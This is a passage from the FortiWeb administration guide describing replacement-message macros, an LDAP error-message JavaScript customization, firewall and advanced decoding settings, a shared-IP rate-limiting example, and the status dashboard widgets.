When it generates error and authentication messages, FortiWeb generates some of the message content using macros. It uses two type of macros: label macros and image macros.

Although you can add the predefined macros to your custom messages, you cannot create macros and you cannot modify the label macros. You can modify an image macro to reference a predefined image or one that you have uploaded.

Label macros

You can use the following label macros anywhere in the HTML code for **Attack Block Page** and **Server Unavailable Message** messages:

%%URL%%	Inserts one of the following URLs: • The URL of a web page blocked by either the web filtering or URL blocking feature. • The URL of a web page that contains a blocked file that a client has tried to download.
%%SOURCE_IP%%	The source IP address of the client that attempted to access the web service.
%%DEST_IP%%	The IP address of the web server.
%%VSERVER_IP%%	The IP address of the virtual server.
%%EVENT_ID%%	An ID number that identifies the attack type. Use this number to help you locate the log for the event in the FortiWeb attack log.

You can use the following label macros anywhere in the HTML code for the **Site Publish Authentication** messages:

%%ORG_LOCATION_VAL%%	The original URL that the client tried to access.
%%REPLY_TAG%%	The authentication server reply message. For an example of how you can customize the message by replacing this macro with JavaScript, see "Customize the message returned for LDAP errors (%%REPLY_TAG%% macro)" on page 666.
%%LOGIN_POST_URL%%	The login URL where users post their credentials.
%%TOKEN_POST_URL%%	The login URL where users insert their token code.
%%RSA_LOGIN_POST_URL%%	The login URL where users post their RSA SecurID credentials.
%%RSAC_POST_URL%%	The login URL where users post their RSA SecurID credentials.
%%ACCOUNT%%	The username credential of a user who exceeded the maximum number of login attempts.
%%PERIOD_TIME%%	The length of time that FortiWeb prevents a user from attempting to log in again, after the user has exceeded the allowed number of login attempts. The site publishing policy specifies the value.

Image macros

Use the following format to add an image macro anywhere in a custom error or authentication message:

```
%%IMAGE:<image_name>%%
```

where `<image_name>` is the name of either a predefined image or one you have uploaded. To view or upload images, go to **System > Config > Replacement Message**, and then select **Manage Images** tab. For details, see ["To view or add images used in error or authentication pages"](#) on page 666.

For example, in the default **Attack Block Page** message, the macro `%%IMAGE%%:logo_v2_fnet%%` adds the predefined image `logo_v2_fnet`. If you add the image `test` to the list of images, use `%%IMAGE%%:test%%` to add it to the HTML code.

To customize an error or authentication page

1. If your custom page requires a custom image, see ["To view or add images used in error or authentication pages"](#) on page 666.
2. Go to **System > Config > Replacement Message**.
3. Select the page you want to edit in the list of pages.
4. If you selected **Attack block page** and want to change the HTTP response code it displays, click **Edit HTTP Response Code**. Enter a new value for the code, and then click **Apply**.
5. In the bottom-right pane, edit the HTML code as required.

The results of any changes you make are displayed immediately in the bottom-left pane.

For details about using macros in the code, see ["Macros in custom error and authentication pages"](#) on page 664.

6. Click **Save** to save your changes or **Restore Defaults** to revert to the preset version of the page.

To view or add images used in error or authentication pages

1. Go to **System > Config > Replacement Message**.
2. Click **Manage Images** tab, and then click **Create New**.
3. Specify a name for the image file, select its content type, and then click **Choose File** to browse to the file and select it.

Ensure the image is no larger than 24 kb and that its type matches the value you selected for **Content Type**.

4. Click **OK**, and then click **Return** to return to the list of customizable pages.

Customize the message returned for LDAP errors (%%REPLY_TAG%% macro)

By default, the Login Page replacement message is formatted to simply display any reply message it receives from the authentication server.

However, you can use JavaScript to customize the message that is displayed.

For example, locate the following section of the replacement message:

<h2>

%%REPLY_TAG%%

</h2>

Replace the macro and its formatting with the following script:

<h2>

```
<script type="text/javascript">
    var r = "%%REPLY_TAG%%"
    if (r == "Failed to search user DN" )
    {
        document.write("<b>Invalid Username</b>")
    }
    else if (r == "Failed to bind LDAP server" )
    {
        document.write("<b>Invalid Password</b>")
    }
    else if (r == "Username or password can't be null" )
    {
        document.write("<b>Username or password empty</b>")
    }
    else if (r == "Invalid credentials" )
    {
        document.write("<b>Invalid Username or Password</b>")
    }
    else if (r != "" )
    {
        document.write(r)
    }

</script>
```

</h2>

Configure the integrated firewall

You can add basic stateful firewall functionality when FortiWeb is in Reverse Proxy, True Transparent Proxy, or Transparent Inspection mode. The firewall monitors TCP, UDP, and ICMP traffic and determines which packets to allow.



By default, the value of the system firewall policy **Default Action** setting is **Accept**. This allows any traffic that does not match a firewall policy rule to access the FortiWeb network interfaces.

When the firewall policy **Default Action** setting is **Deny** and the policy has no rules, FortiWeb only allows administrative access to ports. For example, the firewall prevents requests that do not match a rule from reaching virtual servers.

To configure the stateful firewall

1. Go to **System > Firewall** and select the **Firewall Address** tab.

2. Click **Create New**.

3. Configure these settings:

Name	Enter a name that identifies the firewall address.
Type	Select how this configuration specifies a firewall address or addresses: • IP/IP Range—A single IP or a range of IP addresses. • IP/Netmask—A single IP address and netmask.
IP/Netmask	Enter one of the following:
or	• If Type (page 668) is IP/Netmask, an IPv4 address and subnet mask, separated by a forward slash (/). For example, 192.0.2.2/24.
IP/IP Range	• If Type (page 668) is IP/IP Range, a single IP address or a range of addresses. For example, 172.22.14.1, or 172.22.14.1–172.22.14.255.

4. Click **OK**.

5. Add any additional firewall addresses you require.

6. Go to **System > Firewall** and select the **Firewall Service** tab.

7. Click **Create New**.

8. Configure these settings:

Name	Enter a name that identifies the firewall service.
Protocol	Select the protocol that this firewall service inspects: TCP , UDP , or ICMP .
Minimum Source Port	Select the start port in the range of source ports for this firewall service. The default value is 0. Not available if Protocol (page 668) is IMCP.
Maximum Source Port	Select the end port in the range of source ports for this firewall service. The default value is 65535. Not available if Protocol (page 668) is IMCP.
Minimum Destination Port	Select the start port in the range of destination ports for this firewall service. The default value is 0.

	Not available if Protocol (page 668) is IMCP .
Maximum Destination Port	Select the end port in the range of destination ports for this firewall service. The default value is 65535. Not available if Protocol (page 668) is IMCP .

9. Add any additional firewall services you require.

10. Go to **System > Firewall** and select the **Firewall Policy** tab.

11. For **Default Action**, select one of the following:

- **Deny**—Firewall blocks traffic that does not match a policy rule. However, administrative access is still allowed on network interfaces for which it has been configured.
- **Accept**—Firewall allows traffic that does not match a policy rule.

12. To add a policy rule, click **Create New**.

13. Configure these settings:

V-zone Enable	Select to enable a V-zone (bridge). If this option is enabled, select a V-zone below. V-zones allow network connections to travel through FortiWeb's physical network ports without explicitly connecting to one of its IP addresses. This option is available only when the operation mode is True Transparent Proxy or Transparent Inspection mode.
V-zone	Select a configured V-zone. For details, see " Configuring a bridge (V-zone) " on page 171
Ingress Interface	Specify incoming traffic that this rule applies to by selecting a network interface.
Egress Interface	Specify outgoing traffic that this rule applies to by selecting a network interface.
Source	Specify the source address of traffic that this rule applies to by selecting an address from the firewall addresses you configured earlier under System > Firewall > Firewall Address .
Destination	Specify the destination address of traffic that this rule applies to by selecting an address from the firewall addresses you configured earlier under System > Firewall > Firewall Address .
Service	Select the protocol and port range that this rule applies to by selecting a firewall service configuration under System > Firewall > Firewall Service .
Action	Select the action FortiWeb takes for traffic that matches this rule: • Deny—Firewall blocks matching traffic. Administrative access is still

allowed on network interfaces for which it has been configured.

- **Accept**—Firewall allows matching traffic.

14. Click **OK**.

15. Add any additional rules that you require, and then click **Apply**.

Advanced settings

Several system-wide options that determine how FortiWeb scans traffic and caches server responses are configurable. You can configure the following:

- Source IP detection
- Recursive URL decoding
- Decoding enhancements
- Maximum body cache sizes
- Maximum DLP cache sizes



You can also configure the size of FortiWeb's scan buffers. For details, see `config system advanced` in the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

To configure Advanced settings

1. Go to **System > Config > Advanced**.
2. Configure these settings according to your environment's needs:

Shared IP

Enable to analyze the identification (ID) field in IP packet headers in order to distinguish source IP addresses that are actually Internet connections shared by multiple clients, not single clients. For an example, see "[Example: Setting a separate rate limit for shared Internet connections](#)" on page 672.

You can configure the ID difference threshold that triggers shared IP detection. For details, see `config system ip-detection` in the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

Note: The shared IP address rate limit for some features will be **ignored** unless you enable this option. For details, see "[Preventing brute force logins](#)" on page 619 and "[Limiting the total HTTP request rate from an IP](#)" on page 605.

Tip: To improve performance and reduce memory consumption, if all source IP addresses should receive the same rate limit regardless of the number of clients sharing each connection, **disable** this option.

Recursive URL Decoding

Enable to detect URL-embedded attacks that are obfuscated using recursive URL encoding (that is, multiple levels' worth of URL encoding).

Encoded URLs can be legitimately used for non-English URLs, but can also be used to avoid detection of attacks that use special characters. FortiWeb can decode encoded URLs to scan for these types of attacks. Several encoding types are supported, including IIS-specific Unicode encoding.

For example, you could detect the character A that is encoded as either %41, %x41, %u0041, or \t41.

Disable to decode only one level, if the URL is encoded.

Advanced Decoding

Enable to decode cookies and parameters using Base64 or CSS for specified URLs.

1. Enable **Advanced Decoding**.
2. Click **Apply**.
3. To add a decoding rule, click **Create New**.
4. For **URL Type**, select between:
 - Simple String**—String of text that contains a literal URL.
 - Regular Expression**—String of text that defines a search pattern for a URL that may come in many variations. For details, see "[Appendix D: Regular expressions](#)" on page 829.
5. Enter the **URL Path** for which you want the decoding rule to apply.
6. Click **OK**.
7. Click **Create New**.
8. For **Field Type**, Select whether you want the decoding rule to apply for parameters or cookies.
9. For **Field Name Type**, select between:
 - Simple String**—String of text that contains a literal field name.
 - Regular Expression**—String of text that defines a search pattern for a field name that may come in many variations. For details, see "[Appendix D: Regular expressions](#)" on page 829.
10. Enter the **Field Name** for the parameter or cookie.
11. Enable **Base64 Decoding** and/or **CSS Decoding** according to your environment's needs.

12. Click **OK.****Maximum Body Cache Size**

Type the maximum size (in KB) of the body of the HTTP response from the web server that FortiWeb will cache per URL for body compression, decompression, rewriting, and XML detection.

Increasing the body cache may decrease performance.

Valid values range from 32 to 4096. The default value is 64.

Maximum DLP Cache Size

Type the maximum size in kilobytes (KB) of the body of the HTTP response from the web server that FortiWeb will buffer and scan for data leak protection (DLP).

Responses are cached to improve performance on compression, decompression, and rewriting on often-requested URLs.

Valid values vary by **Maximum Body Cache Size** (page 672).

See also

- ["Defeating cipher padding attacks on individually encrypted inputs"](#) on page 534
- ["Limiting the total HTTP request rate from an IP"](#) on page 605
- ["Preventing brute force logins"](#) on page 619
- ["Example: Setting a separate rate limit for shared Internet connections"](#) on page 672
- ["Blocking known attacks & data leaks"](#) on page 505
- ["Rewriting & redirecting"](#) on page 622
- ["Compression & decompression"](#) on page 644
- ["Supported cipher suites & protocol versions"](#) on page 432

Example: Setting a separate rate limit for shared Internet connections

The small ice cream shop Tiny Treats might have only one network-connected smart cash register. Any request from that public IP likely comes, therefore, from that single client (unless they have not secured their WiFi network...). There is a 1:1 ratio of clients to source IP addresses from FortiWeb's perspective.

Down the street, Giant Gelato, which distributes ice cream to eight provinces, might have a LAN for the entire staff of 250 people, each with one or more computers. Requests that come from the Giant Gelato office's public IP therefore may actually originate from many possible clients, and therefore normally could be much more frequent. However, like many offices, the LAN uses source IP network address translation (SNAT) at the point that it links to the Internet. As a result, from FortiWeb's perspective, the private network address of each client is impossible to know: it only knows the single public IP address of Giant Gelato's router. So there is a single source IP address for Giant Gelato. However, there is a 250:1 ratio of clients to the source IP address.

This is a big proportionate difference. While a low rate limit might seem generous to Tiny Treats, Giant Gelato would be unhappy if you applied the same rate limit to its IP address.

Let's say that both companies need access to the same ice cream inventory web application: Tiny Treats buys from Giant Gelato. Each view in the application contains the page itself, but also up to 15 images of ice cream, 3 external JavaScripts, and an external CSS style sheet, for a total of 20 HTTP requests in order to produce each view.

40 requests per second then might be more than adequate for Tiny Treats: the clerk could page through the inventory twice every second, if she wanted to.

But for Giant Gelato, its clients would frequently see completely or half-broken views: some images or CSS would be missing, or page requests denied the first or second time, because some other clients on Giant Gelato's LAN had already consumed the 40 requests allowed to it per second of time. Normal use would be impossible.

To be practical, then, you would **not** base your rate limiting solely on the source IP address of requests. Instead, you would want dual thresholds:

- A lower threshold for sources that are a single client
- A higher threshold when multiple clients are behind the same source IP address

You could enable **Shared IP** (page 670) so that FortiWeb could know to permit more requests per second from Giant Gelato than from Tiny Treats. Because Giant Gelato's ID fields would **not** usually be continuous as a single client's usually would be, FortiWeb could then apply a different, higher limit.

See also

- ["Advanced settings"](#) on page 670
- ["Limiting the total HTTP request rate from an IP"](#) on page 605
- ["Preventing brute force logins"](#) on page 619

Monitoring your system

“Secure” is an action, an ongoing way to behave; it is **not** a set-and-forget device. Each day, vulnerabilities, known exploits, and best practices can change.

Knowledge is power. To get the most value out of your FortiWeb appliance, use it to keep informed about your network—not just to protect it. FortiWeb appliances have many tools that you can use to monitor statuses, traffic, and attacks. You can also use them to discover new web server vulnerabilities.

Status dashboard

System > Status > Status appears when you log in to the web UI. It contains a dashboard with widgets that each indicate performance levels or other system statuses.

Each day, check the dashboard for obvious problems.

By default, the Status dashboard contains the following widgets:

- ["System Information widget"](#) on page 676
- ["FortiGuard Information widget"](#) on page 678
- ["System Resources widget"](#) on page 681
- ["Attack Log widget"](#) on page 682
- ["HTTP Throughput Monitor widget"](#) on page 683
- ["HTTP Hit History widget"](#) on page 683
- ["Attack Event History widget"](#) on page 684
- ["Policy Sessions widget"](#) on page 687
- ["Operation widget"](#) on page 688

FortiWeb provides a separate dashboard that displays the status of policies and the server pools they are associated with. For details, see ["Policy Status dashboard"](#) on page 688.

Viewing the dashboard (System > Status > Status)


In the default dashboard setup, widgets display the serial number and current system status of the FortiWeb appliance, including uptime, system resource usage, host name, firmware version, system time, and status of policy sessions. The dashboard also contains a CLI widget that enables you to use the command line interface (CLI) through the web UI.

To customize the dashboard, select which widgets to display, where they are located on the page, and whether they are minimized or maximized.

To move a widget, position your mouse cursor on the widget's title bar, then click and drag the widget to its new location.

To display any of the widgets not currently shown on **System > Status > Status**, click **Add Content**. Any widgets currently already displayed on **System > Status > Status** are grayed out in the **Add Content** menu, as you can only have one of each display on the page.

Adding a widget



1. Go to **System > Status > Status**.
2. In the top-right corner of the dashboard, click **Add Content**.
3. Click a widget to add it to **System > Status > Status**.
4. Widgets that are greyed out are currently being displayed on the dashboard.

Note: Click Back to Default to return the active widgets and their positions on the dashboard to the default state.

A minimized widget

System Information

↑
Widget title

Refresh → 
Close → 
Minimize/Maximize → 

Widget title	The name of the widget.
Minimize/maximize arrow	Click to maximize or minimize the widget.
Refresh	Click to update the displayed information.
Close	Click to close the widget on the dashboard. FortiWeb prompts you to confirm the action. To display the widget again, click Add Content near the top of the page.

To access the dashboard, your administrator's account access profile must have **Read** permission to items in the **System Configuration** category. To use features that alter the FortiWeb or perform actions, you may also need **Write** permissions in various categories. For details, see "[Permissions](#)" on page 85.


System Information widget

The **System Information** widget on the dashboard displays the serial number and the status of basic systems, such as the firmware version, system time, up time, and host name, and high availability (HA) status.

In addition to displaying system information, the **System Information** widget enables you to configure some basic attributes such as the host name, operation mode, and high availability (HA) mode, and to change the firmware.

FortiWeb administrators whose access profiles permit **Write** access to items in the **System Configuration** category, can change the system time, host name, firmware, and operation mode, and high availability (HA) mode.

System Information widget

System Information		  
HA Status:	Standalone [Configure]	
Host Name:	FortiWeb [Change]	
Serial Number:		
Operation Mode:	Reverse Proxy [Change]	
System Time:	Thu Jul 27 16:16:52 2017 [Change]	
Firmware Version:	FortiWeb-VM 5.83,build1385,170725 [Update]	
System Uptime:	[0 day(s) 8 hour(s) 7 min(s)]	
Administrative Domain:	Disabled [Enable]	
FIPS-CC Mode:	Disabled	
Log Disk:	Available	

HA Status	Displays the status of high availability (HA) for this appliance, either Standalone or Active-Passive . The default value is Standalone . Click Configure to configure the HA status for this appliance. For details, see " Configuring a high availability (HA) FortiWeb cluster " on page 137.
Host Name	Displays the host name of the FortiWeb appliance. Click Change to change the host name. For details, see " Changing the FortiWeb appliance's host name " on page 662.
Serial Number	Displays the serial number of the FortiWeb appliance. Use this

	number when registering the hardware or virtual appliance with Fortinet Customer Service & Support: https://support.fortinet.com On hardware appliance models of FortiWeb, the serial number (e.g. FV-3KC3R1111111) is specific to the FortiWeb appliance's hardware and does not change with firmware upgrades. On virtual appliance models, the serial number indicates the maximum number of vCPUs that can be allocated according to the FortiWeb-VM software license, such as FVVM020000003619 (where "VM02" indicates a limit of 2 vCPUs). If it is FVVM00UNLICENSED, the FortiWeb-VM license has not been successfully validated, and FortiWeb is operating with a limited trial license.
Operation Mode	Displays the current operation mode of the FortiWeb appliance. The default operation mode is Reverse Proxy. For details on the operation modes, see "Setting the operation mode" on page 135. Click Change to switch the operation mode. Caution: Back up the configuration before changing the operation mode. Changing modes deletes any policies not applicable to the new mode, static routes, V-zone IPs, and VLANs. For instructions on backing up the configuration, see "Backups" on page 324.
System Time	Displays the current date and time according to the FortiWeb appliance's internal clock. Click Change to change the time or configure the FortiWeb appliance to get the time from an NTP server. For details, see "Setting the system time & date" on page 133.
Firmware Version	Displays the version of the firmware currently installed on the FortiWeb appliance. Click Update to install a new version of firmware. For details, see "Updating the firmware" on page 120.
System Uptime	Displays the time in days, hours, and minutes since the FortiWeb appliance last started.
Administrative Domain	To delete existing appliance-wide policies and settings then enable ADOMs, click Enable. See also "Administrative domains (ADOMs)" on page 81. To disable ADOMs, first delete ADOM-specific settings and policies, then click Disable.
FIPS-CC Mode	Displays whether Federal Information Processing Standards (FIPS) and Common Criteria (CC) compliant mode is enabled. You use a CLI command to enable this mode.

See also

- "Changing the FortiWeb appliance's host name" on page 662

FortiGuard Information widget

The **FortiGuard Information** widget on the dashboard displays Fortinet Technical Support registration, licensing and FortiGuard service update information.

FortiGuard Information widget

FortiGuard Information			
	VM License	VM License	 Valid Update
	Support Contract	Registration	 Registered ([redacted]@fortinet.com) Launch Portal
	FortiGuard	Security Service	 Valid Contract (Expires 2018-06-09) Update
		Antivirus	 Valid Contract (Expires 2018-06-09) How To Renew
		IP Reputation	 Valid Contract (Expires 2018-06-09) How To Renew
		Credential Stuffing Defense	 Valid Contract (Expires 2018-06-09) How To Renew
	FortiSandbox	FortiSandbox Appliance	 Configure Configure

VM License

Indicates whether a FortiWeb-VM appliance has a paid software license. The license affects the maximum number of allocatable vCPUs. For details, see the *FortiWeb-VM Installation Guide*:

<http://docs.fortinet.com/fortiweb/hardware>

Possible states are:

- **Valid**—The appliance has a valid, non-trial license. **Serial Number** indicates the maximum number of vCPUs that can be allocated according to this license. For details, see "System Information widget" on page 676.

To increase the number of vCPUs that this appliance can utilize, invalidate the current license by allocating more vCPUs in your virtual machine environment (e.g. VMware), then upload a new license.

Note: You can also upload a new license to replace a valid license by clicking **Update** in the **VM License** row and then increase the number of vCPUs.

	For details, see the <i>FortiWeb-VM Installation Guide</i>: http://docs.fortinet.com/fortiweb/hardware • Invalid—License either was not valid, or is currently a trial license. To upload a valid license, click Update. This appears only in FortiWeb-VM.
Support Contract	Indicates which account registered this appliance with Fortinet Technical Support. • Unregistered—Not registered with Fortinet Technical Support. • <registration_email>—Registered with Fortinet Technical Support. Click Launch Portal to log into the Fortinet Support account that registered this FortiGate unit.
FortiGuard	
FortiWeb Security Service	Indicates the validity of the appliance's contract for FortiGuard FortiWeb Security Service, which provides updates via the Internet from Fortinet's FDN for: • Attack signatures • Predefined data types • Predefined suspicious URLs • Global white list objects Possible states are: • Valid—The appliance currently has a valid, non-trial license, and can download updates itself from the FDN. You can trigger this manually and/or schedule the appliance to regularly poll and automatically install the newest available package updates. For details, see "Connecting to FortiGuard services" on page 187. • Expired—The contract is no longer in effect. To renew, either contact your reseller or go to the Fortinet Customer Service & Support website: https://support.fortinet.com Also indicates the current version number of the installed service package, the expiry date of the service contract (if any) for this appliance, and the previous time and method of update.
FortiWeb Antivirus Service	Indicates the validity of the appliance's contract for FortiGuard Antivirus Service, which provides updates via the Internet from Fortinet's FDN for virus signatures. Possible states are: • Valid—The appliance currently has a valid, non-trial license, and can download updates itself from the FDN. You can trigger this manually

	and/or schedule the appliance to regularly poll and automatically install the newest available package updates. For details, see "Connecting to FortiGuard services" on page 187. • Expired—The contract is no longer in effect. To renew, either contact your reseller or go to the Fortinet Customer Service & Support website: https://support.fortinet.com Also indicates the current version number of the installed service package, the expiry date of the service contract (if any) for this appliance, and the previous time and method of update.
FortiWeb IP Reputation Service	Indicates the validity of the appliance's contract for FortiGuard IRIS Service, which provides updates via the Internet from Fortinet's FDN for known botnets, malicious clients, and anonymizing proxies. Possible states are: • Valid—The appliance currently has a valid, non-trial license, and can download updates itself from the FDN. You can trigger this manually and/or schedule the appliance to regularly poll and automatically install the newest available package updates. For details, see "Connecting to FortiGuard services" on page 187. • Expired—The contract is no longer in effect. To renew, either contact your reseller or go to the Fortinet Customer Service & Support website: https://support.fortinet.com Also indicates the current version number of the installed service package, the expiry date of the service contract (if any) for this appliance, and the previous time and method of update.
FortiWeb Credential Stuffing Defense Service	Indicates the validity of the appliance's contract for FortiGuard Credential Stuffing Defense database, which prevents against credential stuffing attacks. Possible states are: • Valid—The appliance currently has a valid, non-trial license, and can download updates itself from the FDN. You can trigger this manually and/or schedule the appliance to regularly poll and automatically install the newest available package updates. For details, see "Connecting to FortiGuard services" on page 187. • Expired—The contract is no longer in effect. Also indicates the current version number of the installed service package, the expiry date of the service contract (if any) for this appliance, and the previous time and method of update.
FortiSandbox	Click Configure to go to System > Config > FortiSandbox, which allows you to configure a FortiSandbox that FortiWeb submits files to for evaluation.

For information on updates, see ["Connecting to FortiGuard services"](#) on page 187.

See also

- ["Blacklisting source IPs with poor reputation"](#) on page 485
- ["Blocking known attacks & data leaks"](#) on page 505
- ["Antivirus Scan"](#) on page 595



The **CLI Console** widget requires that your web browser support JavaScript.

System Resources widget

The **System Resources** widget on the dashboard displays information such as CPU and memory usage.




The widget displays CPU and memory usage as an animated bar and as a percentage of the usage for core processes only. CPU and memory usage for management processes (for example, for HTTPS connections to the web UI) is excluded.

Normal idle load varies by hardware platform, firmware, and configured features. To determine your specific baseline for idle, configure your system completely, reboot, then view the system load. After at least 1 week of uptime with typical traffic volume, view the system load again to determine the normal non-idle baseline.

System Resources widget

System Resources



To determine your available disk space, you can alternatively connect to the CLI and enter the command:

```
diagnose system mount list
```

Reboot	Click to halt and restart the operating system of the FortiWeb appliance.
ShutDown	Click to halt the operating system of the FortiWeb appliance, preparing its hardware to be powered off.
Reset	Click to revert the configuration of the FortiWeb appliance to the

default values for its currently installed firmware version.

Caution: Back up the configuration before selecting **Reset**. This operation cannot be undone. Configuration changes made since the last backup will be lost. For instructions on backing up the configuration, see ["Restoring a previous configuration"](#) on page 328.

Attack Log widget

The **Attack Log** widget displays the latest attack logs. Attack logs are recorded when there is an attack or intrusion attempt against the web servers protected by the FortiWeb appliance.

Attack logs help you track policy violations. Each message shows the date and time that the attack attempt occurred. For details, see ["Viewing log messages"](#) on page 706.




Attack log messages can also be delivered by email, Syslog, FortiAnalyzer, or SNMP. For details, see ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693, ["Configuring logging"](#) on page 693, and ["SNMP traps & queries"](#) on page 715.

Attack Log widget

Attack Log Widget		⌂ × −
2017-04-12 10:39:15	SQL Injection (Syntax Based Detection)-As-Is Based SQL Injection : Signature ID 120030004	
2017-04-12 10:39:15	SQL Injection (Extended) : Signature ID 040000137	
2017-04-12 10:39:15	SQL Injection (Syntax Based Detection)-As-Is Based SQL Injection : Signature ID 120030004	
2017-04-12 10:39:15	Generic Attacks-Command Injection : Signature ID 050050008	
2017-04-12 10:39:15	Generic Attacks-Command Injection : Signature ID 050050008	
2017-04-12 10:39:15	Generic Attacks-Command Injection : Signature ID 050050008	
2017-04-12 10:39:15	SQL Injection (Extended) : Signature ID 040000137	
2017-04-12 10:39:15	SQL Injection (Syntax Based Detection)-As-Is Based SQL Injection : Signature ID 120030004	
2017-04-12 10:39:15	SQL Injection (Extended) : Signature ID 040000137	
2017-04-12 10:39:15	SQL Injection (Syntax Based Detection)-As-Is Based SQL Injection : Signature ID 120030004	

HTTP Throughput Monitor widget

The **HTTP Throughput Monitor** widget displays HTTP traffic volume throughput in real-time:



Mouse over the graph to see HTTP throughput for the displayed time period.


In the top-right corner of the widget, use the **Policy** drop-down menu to select either the total HTTP throughput or the HTTP throughput for a specific server policy.

See also

- [Configuring a server policy](#)

HTTP Hit History widget

The **HTTP Hit History** widget displays the total number of HTTP requests within the selected interval:



Mouse over the graph to see HTTP requests for the displayed time period.

Use the **Time Interval** drop-down menu to select among the following time periods to view HTTP requests:

- 1 hour
- 2 hours
- 5 hours

Use the **Policy** drop-down menu to select among the current server policies or to view the total HTTP hit history.

Attack Event History widget


The **Attack Event History** widget displays information about attacks that are detected and prevented. You can view information by Attack Type or Threat Level using the **Attacks by** drop-down menu.

Use the **Time Interval** drop-down menu to view the Attack Event History within the following time periods:


- 1 hour
- 12 hours
- 48 hours
- 1 week

Attack Type

Attack Event History



Attacks by Attack Type


Attack Type	Total	Drilldown
SQL Injection	3982	 +
Bad Robot	3198	 +
Trojans	2412	 +
Cross Site Scripting	841	 +
Generic Attacks	786	 +
Known Exploits	786	 +
Total Attacks	12005	

Click elements in the legend of the graph to show/hide those elements in the graph.

In the **Attacks by Attack Type** window under the graph, select the **+** icon under the **Drilldown** column to view the following information about each attack type:

- Server Policy
- Client
- Time

Threat Level



Click elements in the legend of the graph to show/hide those elements in the graph.

In the **Attacks by Threat Level** window under the graph, select the **+** icon under the **Drilldown** column to view the following information about each attack type:

- Server Policy
- Client
- Time

Event Log Console widget

The **Event Log Console** widget on the dashboard displays log-based messages.

Event logs help you track system events on your FortiWeb appliance such as firmware changes, and network events such as changes to policies. Each message shows the date and time that the event occurred. For details, see ["Viewing log messages"](#) on page 706.



Event log messages can also be delivered by email, Syslog, FortiAnalyzer, or SNMP. For details, see ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693, ["Configuring log destinations"](#) on page 695, and ["SNMP traps & queries"](#) on page 715.

Event Log Console widget

Event Log Console		⌂ × −
2017-04-16 03:39:54	User admin has viewed the Attack logs from GUI(10.12.95.1)	
2017-04-16 03:12:35	User admin has viewed the Attack logs from GUI(10.12.95.1)	
2017-04-16 03:04:40	User admin logged in successfully from GUI->HTTP(10.12.95.1)	
2017-04-16 02:00:01	sftp backup backup_backup-server_20170416020000 to 172.16.1.25 fortibackups/ FAILED	
2017-04-15 08:37:01	Reseeding successfully from the old method	
2017-04-14 18:57:39	User admin timed out on jsconsole	
2017-04-14 17:03:05	User admin timed out on jsconsole	
2017-04-14 10:23:15	Command failed: 'edit 1 ' Return code -90: CLI parsing error.	
2017-04-14 09:03:20	User admin changed remote test from jsconsole	
2017-04-14 09:02:53	Command failed: 'set comment OCSP for CA_Cert_1 ' Return code -90: CLI parsing error.	

Policy Sessions widget

The **Policy Sessions** widget on the dashboard displays the number of HTTP/HTTPS sessions that are currently governed by each policy.

Policy Sessions widget

Policy Sessions					⌂ × −
#	Policy Name	Status	Concurrent Connections	Connections/Sec	
1	FWB_Policy_Default_AutoTest	🔓	30	11	

- **Policy Name**—Shows the name of the policy. For information on policies, see ["How operation mode affects server policy behavior"](#) on page 257.
- **Status**—Displays whether the policy is enabled or disabled. For details, see ["Enabling or disabling a policy"](#) on page 291.

- **Concurrent Connections**—Shows the total number of connections that the policy currently governs.
- **Connections/Sec**—Shows the number of connections the policy is governing per second.

Operation widget

The **Operation** widget on the dashboard displays:

- “Up” (cable plugged in, indicated by green) or
- “Down” (cable unplugged, indicated by grey)

link status of each physical network interface (or, for FortiWeb-VM, virtual adapter).




The detected physical link status indicator does **not** indicate whether you have administratively enabled or disabled the network interface. To bring up or bring down a network interface, see ["To configure a network interface or bridge"](#) on page 162.

Hover over a link icon to display the following additional information:

- Name (e.g. port1)
- Link speed (e.g. 1000 Mbps/Full Duplex)
- The IP address and subnet mask
- Packets sent (Tx) and received (Rx)

Operation widget

Operation



See also

- ["To configure a network interface or bridge"](#) on page 162

Policy Status dashboard

Go to **System > Status > Policy Status** to access summary information about server policies and their activity.

The top pane of the dashboard is a list of configured policies. The bottom pane is a list of physical or domain servers associated with the selected policies. For HTTP content routing policies, the list of servers is organized by content routing policy.

In the policy list, **Status** displays whether the policy is enabled or disabled. For information about enabling policies, see ["Enabling or disabling a policy"](#) on page 291.

The **Concurrent Connections** and **Connection/Sec** columns shows information about the connections the policy currently governs.

For information on the other policy properties that are displayed, such as **Vserver** and **Mode**, see ["Configuring a server policy"](#) on page 277.

For information on the server properties that are displayed, such as **Pool** and **IP/Domain Name**, see ["Creating a server pool"](#) on page 397.

Health Check Status

In the server list, the **Health Check Status** column displays one of the following icons:

- **Green icon**—The server health check is currently detecting that the web server is responsive to connections ("up").



The green icon does **not** indicate whether the policy is enabled or disabled. Depending on the operation mode, a disabled policy may block traffic from clients to the web server, effectively causing the web server to appear to be "down" to clients, even though it is "up" to FortiWeb. For details, see ["Enabling or disabling a policy"](#) on page 291.

It also does **not** indicate both HTTP and HTTPS separately. Protocol and port number used are according to your configuration in the server pool.

- **Flashing yellow-to-red or grey icon**—Either:
 - No server health check is currently configured for that combination of server pool and policy
 - The server health check is currently detecting that the web server is **not** responsive to connections ("down")

The method that the FortiWeb appliance uses to reroute connections to an available server varies by your configuration of [Load Balancing Algorithm](#) (page 398). For information on server health checks, see ["Configuring server up/down checks"](#) on page 390.

If the server health check is mistakenly detecting that your web server is "down," but it is actually "up," verify that you have specified the correct SSL/TLS and port number settings for the web server in the server pool. Also verify that the web server is configured to respond to the protocol configured in the server health check, and that connections are permitted by any intermediary network or host-based firewalls such as Windows Firewall.



Alternatively, to monitor the status of web servers, you can use SNMP traps. For details, see ["SNMP traps & queries"](#) on page 715.

Session Count

In the top pane, the **Concurrent Connections** and **Connection/Sec** columns display a count of client connections that the virtual server is maintaining.

In the bottom pane, the **Concurrent Connections** column displays a count of connections to server pools that contain one or more back-end servers.

In some cases, the virtual server maintains a client session even though the client is not requesting data from the back-end server. When this happens, the **Concurrent Connections** column in the bottom pane is 0 even though the **Concurrent Connections** value in the top pane indicates there are one or more current sessions.

RAID level & disk statuses

If supported by your FortiWeb model, **System > Config > RAID** enables you to view the status of the redundant array of independent disks (RAID) that the FortiWeb appliance uses to store most of its data, including logs, reports, auto-learning data, and website backups for anti-defacement. You can also use this CLI command to view the statuses of each disk in the array, its total disk space capacity, and RAID level:

```
diagnose hardware raid list
```

